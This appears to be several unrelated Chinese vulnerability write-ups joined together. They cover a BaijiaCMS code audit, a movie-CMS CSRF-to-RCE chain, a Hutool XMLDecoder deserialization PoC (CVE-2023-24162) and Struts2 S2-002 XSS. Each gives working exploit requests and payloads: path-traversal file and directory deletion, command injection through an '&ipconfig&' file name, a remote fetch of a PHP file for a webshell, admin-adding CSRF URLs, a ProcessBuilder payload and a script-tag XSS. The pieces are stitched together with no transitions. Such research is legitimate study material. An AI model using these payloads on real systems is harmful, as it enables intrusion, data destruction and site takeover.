代码审计之旅之百家CMS
前言 之前审计的CMS大多是利用工具,即Seay+昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。 环境搭建 源码链接如下所示https://gitee.com/openbaijia/baijiacms安装至本地后,我这里是phpstudy+win10,所以直接解压到phpstudy的www目录下即可。 接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行) 接下来访问CMS,会默认跳转至安装界面。 数据库名称和账密注意一下就好,其他随便写。 而后安装成功,可以开始进行审计了。 审计 准备工作 我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。根目录如下所示: 其对应目录解释如下: addons     插件 api        接口 assets     静态文件 attachment 上传目录 cache      缓存目录 config     系统文件 include    系统文件 system     后端代码 针对system目录,这个较为常用,我们可以对其进行进一步分析。 system 系统模块目录 ├─alipay 支付宝服务窗模块 ├─bonus 优惠券模块 ├─common 公共函数模板 ├─index 登录页 ├─member 会员模块 ├─modules 可再扩展模块和模块管理 ├─public 公共模块 ├─shop 后台商城模块 ├─shopwap 前台商城模块 ├─user 系统用户 └─weixin 微信模块 对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞。 所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。 路由解析 对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面。 我们点击它,发现此时的路由如下: baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1 接下来我们在Vscode中进行全局搜索,搜password= 结果如下,可以发现它的路径。 baijiacms-master\system\manager\class\web\changepwd.php 再找到它的具体位置。 我们将它与之前看到的路由进行比对,就可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。 漏洞查找 这里Seay+关键词搜索的方式进行漏洞查找。 SQL注入 疑点一(失败) 发现有很多疑似注入点,从第一个开始跟进看。 文件路由/addons/activity/class/mobile/index.php重点代码。 global $_W,$_GPC; $activityid = intval ( $_GPC ['activityid'] ); $operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display'; $pagetitle = "活动报名入口"; $activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid ); 可以看到uniacid变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索) 发现$_GPC=$_GP,所以我们只需要确定$_GP,就 可以确定$_GPC,接下来寻找$_GP,最终在baijiacms.php中发现此变量 这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars函数处理,而后将实体字符&amp替换为&。不过这个是$_GPC的,但都是全局变量,$_W应该也类似,接下来再跟着看一下,我们全局搜索$_W= 这里可以发现$W=$_CMS,同时看出我们的$_W['uniacid']=$_CMS['beid'],接下来搜索$_CMS['beid']= 找到它等同于一个函数,即getDomainBeid函数,所以接下来寻找getDomainBeid函数。 function getDomainBeid() { global $_GP; $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE)); if(empty($system_store['id'])) { if(!empty($_GP['beid'])) { $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid'])); if(empty($system_store['id'])) { message("未找到相关店铺"); } if(!empty($system_store['isclose'])) { message("店铺已关闭无法访问"); } return $system_store['id']; }else { return ""; } }else { if(!empty($system_store['isclose'])) { message("店铺已关闭无法访问"); } return $system_store['id']; } } 这里可以看出system_store是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid'],此时看着一个SQL语句。 $system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid'])); 如果我们的数据正常,他的结果应该是: id  isclose xx  xxxxxxx xx  xxxxxxx 而当我们输入beid为xx and sleep(2)这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id'],而这个函数的最终结果是return $system_store['id'];,那么此时它就会返回空值,那么回到这个SQL语句。 pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize); 如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']只能接收到正常的id,也就是数据库中存储着的id值,所以这里是无法进行SQL注入的。 类似这个的还有如下文件: 文件名:system/eshop/core/mobile/commission/team.php部分PHP代码$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize); 文件名: /addons/activity 疑点二(失败) 文件路径/system/common/model/virtual.php 这里发现参数id,跟进id变量,发现来源于 public function updateGoodsStock($id = 0) { global $_W, $_GPC; $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array( ':id' => $id, ':uniacid' => $_W['uniacid'] )); 发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。 任意目录及文件删除 关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink函数,所以我们这里打开Vscode,ctrl+shift+f全局搜索unlink函数。 这里注意到有多个文件,js及css前端文件自不必看,我们这里要关注的是php文件,接下来从第一个开始看。 疑点一 文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下: function rmdirs($path='',$isdir=false) {    if(is_dir($path))//判定变量是否为目录   {            $file_list= scandir($path); //查看路径下的文件            foreach ($file_list as $file)//依次遍历           {                if( $file!='.' && $file!='..')//如果不是.和..               {               if($file!='qrcode')               {                    rmdirs($path.'/'.$file,true);//删除目录下的文件                 }               }           }               if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache   {            @rmdir($path);   //删除目录                   }       }    else   {        @unlink($path);   } } 可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。所以接下来全局搜索函数 在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码: if($operation=='delete') { $d = base64_decode($_GP['id']); $path = WEB_ROOT . '/config/data_backup/'; if(is_dir($path . $d)) { rmdirs($path . $d); message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success'); }} 可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径。 $path = WEB_ROOT . '/config/data_backup/'; 但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。 接下来进行利用尝试首先我们在根目录下新建一个目录(名字随便,我这里为qwq)。 接下来访问这个数据库备份界面,具体路由如下: http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1 开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx(../../qwq的Base64编码形式) 此时再回根目录查看。 疑点二 除了rmdir和unlink,我们常常还可以关注delete函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete() 而后在includes\baijiacms\common.inc.php中发现相关代码,具体代码如下: function file_delete($file_relative_path) { if(empty($file_relative_path)) { return true; } $settings=globaSystemSetting(); if(!empty($settings['system_isnetattach'])) { if($settings['system_isnetattach']==1) { require_once(WEB_ROOT.'/includes/lib/lib_ftp.php'); $ftp=new baijiacms_ftp(); if (true == 这里重点关注这一个 if(!empty($settings['system_isnetattach'])) 当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索。 这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else,对文件进行直接删除,访问具体路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1 接下来就设置好了,接下来去寻找运用了这个file_delete函数的文件,全局搜索一下。 文件路由为system\eshop\core\mobile\util\uploader.php,部分代码如下: } elseif ($operation == 'remove') {    $file = $_GPC['file'];    file_delete($file);    show_json(1); } 因此我们这里访问这个路由并设置operation为remove,按理说就可以直接删文件了,接下来尝试利用。 首先在根目录新建文件,这里命名为qwq.txt 接下来访问路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt 此时查看根目录。 文件已成功删除。 同时,我们刚刚还看到了不止这一个文件利用了delete函数,另外的是否存在呢,我们来看一下文件路由system\eshop\core\web\shop\category.php,具体代码: elseif ($operation == 'post') { ... ... ... if (!empty($id)) {            unset($data['parentid']);            pdo_update('eshop_category', $data, array(                'id' => $id           ));                        file_delete($_GPC['thumb_old']);           这里可以发现想删除文件,需要有三个条件: 1、$operation == 'post'2、$id不为空3、$_GPC['thumb_old']为具体文件名 所以我们按理说的话,我们去访问这个路由,然后修改$operation为post,添加参数$id=1,同时附加参数$thumb_old为想删除文件名即可实现删除文件,这个$operation在前面可以看到其实是参数op 所以我们直接给op赋值为post,即可实现文件删除,接下来进行尝试。 在根目录新建文件qwq2.txt 接下来访问路由。 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt 此时即可实现删除文件。 命令执行 针对命令执行,我们关注的函数肯定是eval、system、exec这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。首先搜索的是eval 找到的大多数是带有eval的关键词而非eval函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析。 疑点一(失败) 文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代码如下: function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'dingtalk' 这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data),它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1时判断为登录成功,就会跳转至另一个界面,而当为-1时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。 类似的文件还有如下几个,亦不必再看。 文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php 部分代码: function checkstatus(){ $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){ var data= eval("(" + data + ")");  if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>"; }  if(data.status==-1) {  alert("登录失败!重新刷新二维码登录");  location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>"; } }); } setInterval("checkstatus()",2000); 文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php 部分代码: function checkstatus(){ $.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){ var data= eval("(" + data + ")");  if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>"; }  if(data.status==-1) {  alert("登录失败!重新刷新二维码登录");  location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>"; } }); } setInterval("checkstatus()",2000); 疑点二 接下来我们关注system函数,直接Vscode全局搜。 最终在includes\baijiacms\common.inc.php下找到system函数,其中部分代码如下: function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true) { $settings=globaSystemSetting(); if(!file_move($file_tmp_name, $file_full_path)) { return error(-1, '保存上传文件失败'); } if(!empty($settings['image_compress_openscale'])) { $scal=$settings['image_compress_scale']; $quality_command=''; if(intval($scal)>0) { $quality_command=' -quality '.intval($scal); } system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path); } ... .... ..... 这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个: if(!empty($settings['image_compress_openscale'])) 这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale 此时就找到了,它就是图片压缩功能,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下: http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1 接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。 可以发现这里的话对此函数进行了一个利用,具体代码如下: $extention = pathinfo($file['name'], PATHINFO_EXTENSION);        $extention=strtolower($extention);    if($extention=='txt')   {               $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));               if(empty( $substr))               {                $substr="/";                   }           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";        //file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);                file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);                if($verify_root!=WEB_ROOT."/")               {                    copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);               }         $cfg['weixin_hasverify']=$file['name'];   } 这里的话是对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。 我们这里新建一个txt文件,命名为&ipconfig&.txt 接下来对其进行上传,具体路由 http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1 接下来保存便可以看到效果。 任意文件读取 疑点一(失败) 文件路由/system/eshop/core/mobile/shop/util.php,重要代码如下: } else if ($operation == 'areas') { require_once WEB_ROOT . '/includes/lib/json/xml2json.php'; $file = ESHOP_AREA_XMLFILE; $content = file_get_contents($file); $json = xml2json::transformXmlStringToJson($content); $areas = json_decode($json, true); die(json_encode($areas)); 其他暂且不看,我们这里先看这两个: $file = ESHOP_AREA_XMLFILE;$content = file_get_contents($file); 本来直接包含$file的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml文件。 那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。 所以类似这种的可疑点不必再关注,这里简单列出几个: 文件名:/system/eshop/core/web/sale/enough.php 部分代码: $content = file_get_contents($file); 文件名:/system/eshop/core/web/shop/dispatch.php 部分代码: $content = file_get_contents($file); 文件上传 疑点一 文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload,所以直接Vscode全局搜索upload() 文件路由为includes\baijiacms\common.inc.php,具体代码如下: function file_upload($file, $type = 'image') { if(empty($file)) { return error(-1, '没有上传内容'); } $limit=5000; $extention = pathinfo($file['name'], PATHINFO_EXTENSION); $extention=strtolower($extention); if(empty($type)||$type=='image') { $extentions=array('gif', 'jpg', 'jpeg', 'png'); } if($type=='music') { $extentions=array('mp3','wma','wav','amr','mp4'); } if($type=='other') { $extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc'); } ... ... } 这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload的函数,我们往下看到这样一个函数: function fetch_net_file_upload($url) { $url = trim($url); $extention = pathinfo($url,PATHINFO_EXTENSION ); $path = '/attachment/'; $extpath="{$extention}/" . date('Y/m/'); mkdirs(WEB_ROOT . $path . $extpath); do { $filename = random(15) . ".{$extention}"; } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename)); $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename; $file_relative_path = $extpath. $filename; if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) { $result['message'] = '提取失败.'; return $result; } $file_full_path = WEB_ROOT .$path . $extpath. $filename; return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path); } 可以发现这个只对文件进行了pathinfo函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数。 文件路由system\public\class\web\file.php,具体代码: if ($do == 'fetch') { $url = trim($_GPC['url']); $file=fetch_net_file_upload($url); if (is_error($file)) { $result['message'] = $file['message']; die(json_encode($result)); } } 接下来我们只需要满足do=fetch,然后url中包含我们的文件,便可实现文件上传,我这里远程文件内容如下: 接下来进行利用尝试。访问路由如下: http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php 访问给出的文件路径。 可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。 后言 本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。
记一次影视cms黑盒CSRF->RCE
俗话说得好,思路才是最重要,本文章主要提供思路,各位师傅在挖掘漏洞的时候说不定也能碰到类似的点。 思路: 当我们在找可以构建csrf的时候,多找找可以提交上传图片的,部分是可以自由构建url,如图: 漏洞位置: 反馈位置构造csrf 既然能任意构建url,并没有校验防御。 开始找后台漏洞点 添加管理员处抓包 添加管理员转get试下,看能不能成功添加。 发现可行,我们返回反馈列表抓包构建下poc: 这里的话先构造一个添加管理员的,&符号需要编码下。 然后返回后台看看反馈列表。 这里的话只需要管理员点开触发即可。 点击之后Img src会加载get请求。 成功添加管理员 Poc: 添加管理员 /admin.php/sys/save?name=admin1&pass=123456 修改认证码 /admin.php/setting/save?admin_code=admin 当然没rce是没有灵魂的。 在采集管理,下载资源会压缩保存。 因为if会判断执行无法用|那么就用;,因为;在shell中,担任连续指令,从左到右执行,当执行到错误的命令会停止。 可以看到我这里的分别执行了ls和ping命令。 演示: ls;ping ls;dir;ping;i 复现成功 RCE 就不公布了,涉及到很多站点。
hutool XML反序列化漏洞(CVE-2023-24162)
漏洞简介   Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。 漏洞复现   我们在 maven 仓库中查找 Hutool    https://mvnrepository.com/search?q=Hutool         把依赖复制出来,添加到项目的 pom.xml 文件中 <!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all --> <dependency>    <groupId>cn.hutool</groupId>    <artifactId>hutool-all</artifactId>    <version>5.8.11</version> </dependency>   添加完成后刷新一下 maven 依赖   我们编写代码 import cn.hutool.core.util.XmlUtil; public class Test {    public static void main(String[] args) {        XmlUtil.readObjectFromXml("<java>\n" +                "   <object class=\"java.lang.ProcessBuilder\">\n" +                "       <array class=\"java.lang.String\" length=\"1\">\n" +                "           <void index=\"0\">\n" +                "               <string>calc</string>\n" +                "           </void>\n" +                "       </array>\n" +                "       <void method=\"start\"></void>\n" +                "   </object>\n" +                "</java>\n");   } }      在项目目录下创建一个 bean.xml 文件,将 xml 放在文件中,构造代码也可以触发 import cn.hutool.core.util.XmlUtil; import java.io.File; public class Test {    public static void main(String[] args) {        File file = new File("bean.xml");        XmlUtil.readObjectFromXml(file);   } }    漏洞分析   整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫    cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)      当然这个地方也是可以通过读取文件来实现的    cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)       cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)       java.beans.XMLDecoder#readObject      漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。 漏洞修复   在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法,简单粗暴。    XMLDecoder.readObject <java> <object class="java.lang.ProcessBuilder">  <array class="java.lang.String" length="1">    <void index="0"><string>calc</string></void>  </array>  <void method="start"></void> </object> </java>   object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)   array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)   void 标签,method 的值对应着 method 的参数 (start)   最后相当于执行了 new java.lang.ProcessBuilder(new String[]{"calc"}).start();   ‍   为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理    java.lang.ProcessBuilder#start      ‍ start:1007, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:71, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:275, MethodUtil (sun.reflect.misc) invokeInternal:292, Statement (java.beans) access$000:58, Statement (java.beans) run:185, Statement$2 (java.beans) doPrivileged:-1, AccessController (java.security) invoke:182, Statement (java.beans) getValue:155, Expression (java.beans) getValueObject:166, ObjectElementHandler (com.sun.beans.decoder) getValueObject:123, NewElementHandler (com.sun.beans.decoder) endElement:169, ElementHandler (com.sun.beans.decoder) endElement:318, DocumentHandler (com.sun.beans.decoder) endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375, DocumentHandler$1 (com.sun.beans.decoder) run:372, DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1, AccessController (java.security) doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372, DocumentHandler (com.sun.beans.decoder) run:201, XMLDecoder$1 (java.beans) run:199, XMLDecoder$1 (java.beans) doPrivileged:-1, AccessController (java.security) parsingComplete:199, XMLDecoder (java.beans) readObject:250, XMLDecoder (java.beans) main:20, xmldecode (xml)   ‍   比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument 开始对 xml 进行解析      ‍   先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确   根据 xml 文件的中的标识来识别开始还是结束 < 对应着开始,</ 对应着结束   解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class 中被定义,通过节点名获取对应的handler   解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)   ‍    com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument      这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT   ‍    com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next       com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next      ‍    com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next       com.sun.beans.decoder.DocumentHandler#DocumentHandler      对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement 中    com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement       com.sun.beans.decoder.DocumentHandler#endElement      调用 StringElementHandler 对应的 endElement 方法 ,StringElementHandler 没有这个方法,调用其父类 ElementHandler 中 endElement       com.sun.beans.decoder.ElementHandler#endElement       com.sun.beans.decoder.StringElementHandler#getValueObject      最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性    com.sun.beans.decoder.NewElementHandler#addArgument      接着将 handler 指向上一级的 handler VoidElementHandler   调用 VoidElementHandler 对应的 endElement 方法 ,VoidElementHandler 没有这个方法,调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement    com.sun.beans.decoder.ElementHandler#endElement       com.sun.beans.decoder.NewElementHandler#getValueObject()    com.sun.beans.decoder.ObjectElementHandler#getValueObject      执行完后又有一个 <void method="start"></void>   调试返回的结果    com.sun.beans.decoder.DocumentHandler#endElement       com.sun.beans.decoder.ElementHandler#endElement       com.sun.beans.decoder.NewElementHandler#getValueObject()       com.sun.beans.decoder.ObjectElementHandler#getValueObject       com.sun.beans.decoder.NewElementHandler#getContextBean       com.sun.beans.decoder.ElementHandler#getContextBean       com.sun.beans.decoder.NewElementHandler#getValueObject()       com.sun.beans.decoder.ObjectElementHandler#getValueObject       com.sun.beans.decoder.NewElementHandler#getContextBean       com.sun.beans.decoder.ObjectElementHandler#getValueObject       com.sun.beans.decoder.NewElementHandler#getValueObject()       com.sun.beans.decoder.ElementHandler#getContextBean       com.sun.beans.decoder.NewElementHandler#getContextBean         继续执行,最终触发命令执行    com.sun.beans.decoder.ObjectElementHandler#getValueObject      后一部分很像套娃      整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。
Java Struts2系列的XSS漏洞(S2-002)
0x01 前言 复现一下 S2-002 的洞 0x02 S2-002 漏洞简介 Struts2-002 是一个 XSS 漏洞,该漏洞发生在 s:url 和 s:a 标签中,当标签的属性 includeParams=all 时,即可触发该漏洞。 漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 0x03 环境搭建 如果不想手动搭建的话,环境我已经配好了 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Struts2/S2-002AndS2-006 因为 s2-002 的洞是一个 XSS,与处理的 Action 没有任何关系,所以这里我们只需要配置 .jsp 文件,以及 .xml 文件 resources 文件夹下 struts.xml <?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE struts PUBLIC          "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"          "http://struts.apache.org/dtds/struts-2.0.dtd">     <struts>      <package name="S2-002" extends="struts-default">          <action name="login" class="com.drunkbaby.action.LoginAction" method="execute">              <result name="success">welcome.jsp</result>              <result name="error">index.jsp</result>          </action>      </package>   </struts> webapp 文件夹下 index.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"           pageEncoding="UTF-8"%>   <%@ taglib prefix="s" uri="/struts-tags" %>     <html>   <head>      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">      <title>S2-002</title>   </head>   <body>   <h2>S2-002 Demo</h2>   <s:url action="login" includeParams="all"></s:url>   <s:a href="%{url}">click</s:a>   </body>   </html> welcome.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"           pageEncoding="UTF-8"%>   <%@ taglib prefix="s" uri="/struts-tags" %>     <html>   <head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-002</title>   </head>   <body>   <p>Hello <s:property value="username"></s:property></p>   </body>   </html> 接着在 WEB-INF 下,web.xml <!DOCTYPE web-app PUBLIC   "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"   "http://java.sun.com/dtd/web-app_2_3.dtd" >     <web-app>    <display-name>S2-002 Example</display-name>    <filter>      <filter-name>struts2</filter-name>      <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>    </filter>    <filter-mapping>      <filter-name>struts2</filter-name>      <url-pattern>/*</url-pattern>    </filter-mapping>    <welcome-file-list>      <welcome-file>index.jsp</welcome-file>    </welcome-file-list>   </web-app> 项目结构如图,至此环境搭建完毕 0x04 漏洞复现与分析 http://localhost:8080/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22 漏洞分析 之前自己也没有分析过 XSS 相关的漏洞,在最后我会做一个小结来思考一下如何自己挖掘出这个漏洞 我们先下一个断点在 org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag() 方法处,开始调试 当在 JSP 文件中遇到 Struts2 标签 <s: 时,程序会先调用 doStartTag() 方法 